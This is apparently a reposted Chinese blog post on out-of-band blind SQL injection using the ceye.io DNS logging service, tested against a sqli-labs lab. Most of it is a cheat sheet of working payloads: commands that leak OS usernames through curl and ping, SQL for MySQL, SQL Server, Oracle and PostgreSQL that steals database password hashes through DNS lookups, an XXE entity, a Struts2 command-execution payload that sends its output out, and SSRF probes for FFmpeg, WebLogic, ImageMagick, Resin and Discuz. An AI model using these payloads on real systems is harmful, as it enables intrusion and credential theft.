Out of Band SQL盲注

SQL盲注

使用http://ceye.io/DNSlog获取dns记录

获取自己的Identifier

xxxxxx.ceye.io

 

搭建环境

Windows server 2003 +phpstudy+sqli-labs

Payload: and%20load_file(concat(%27\\\\%27,(select database()),%27.xxxxxx.ceye.io\\abc%27))%20

 

load_file需要条件如下

 

必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的。

 

MySQL5.5.53中,file_priv默认为yes

select file_priv from mysql.user where user = 'root';

 

文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节

SHOW VARIABLES LIKE 'max_allowed_packet';

 

如果secure_file_priv系统变量被设置为非空目录名,则要加载的文件必须位于该目录中

SHOW VARIABLES LIKE 'secure_file_priv';

 

获取当前数据库

http://192.168.119.149/sqli/Less-5/?id=1%27%20and%20load_file(concat(%27\\\\%27,(select%20database()),%27.xxxxxx.ceye.io\\abc%27))%20%23

 

 

 

 

备注

0x00 Command Execution

 

i. *nix:

curl http://ip.port.b182oj.ceye.io/`whoami`

ping `whoami`.ip.port.b182oj.ceye.io

 

ii. windows

ping %USERNAME%.b182oj.ceye.io

0x01 SQL Injection

 

i. SQL Server

DECLARE @host varchar(1024);

SELECT @host=(SELECT TOP 1

master.dbo.fn_varbintohexstr(password_hash)

FROM sys.sql_logins WHERE name='sa')

+'.ip.port.b182oj.ceye.io';

EXEC('master..xp_dirtree

"\\'+@host+'\foobar$"');

 

ii. Oracle

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');

SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;

SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;

SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

 

iii. MySQL

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

 

iv. PostgreSQL

DROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function()

RETURNS VOID AS $

DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT passwd

FROM pg_shadow WHERE usename='postgres');

exec_cmd := E'COPY table_output(content)

FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';

EXECUTE exec_cmd;

END;

$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_function();

0x02 XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test">

%remote;]>

<root/>

 

0x03 Others

 

i. Struts2

xx.action?redirect:http://ip.port.b182oj.ceye.io/%25{3*4}

xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://ip.port.b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

 

ii. FFMpeg

#EXTM3U

#EXT-X-MEDIA-SEQUENCE:0

#EXTINF:10.0,

concat:http://ip.port.b182oj.ceye.io

#EXT-X-ENDLIST

 

iii. Weblogic

xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://ip.port.b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search

 

iv. ImageMagick

push graphic-context

viewbox 0 0 640 480

fill 'url(http://ip.port.b182oj.ceye.io)'

pop graphic-context

 

v. Resin

xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://ip.port.b182oj.ceye.io/ssrf

 

vi. Discuz

http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://ip.port.b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo

 

发布了5 篇原创文章 · 获赞 1 · 访问量 2530

猜你喜欢

转载自blog.csdn.net/BoZhihouci/article/details/104315347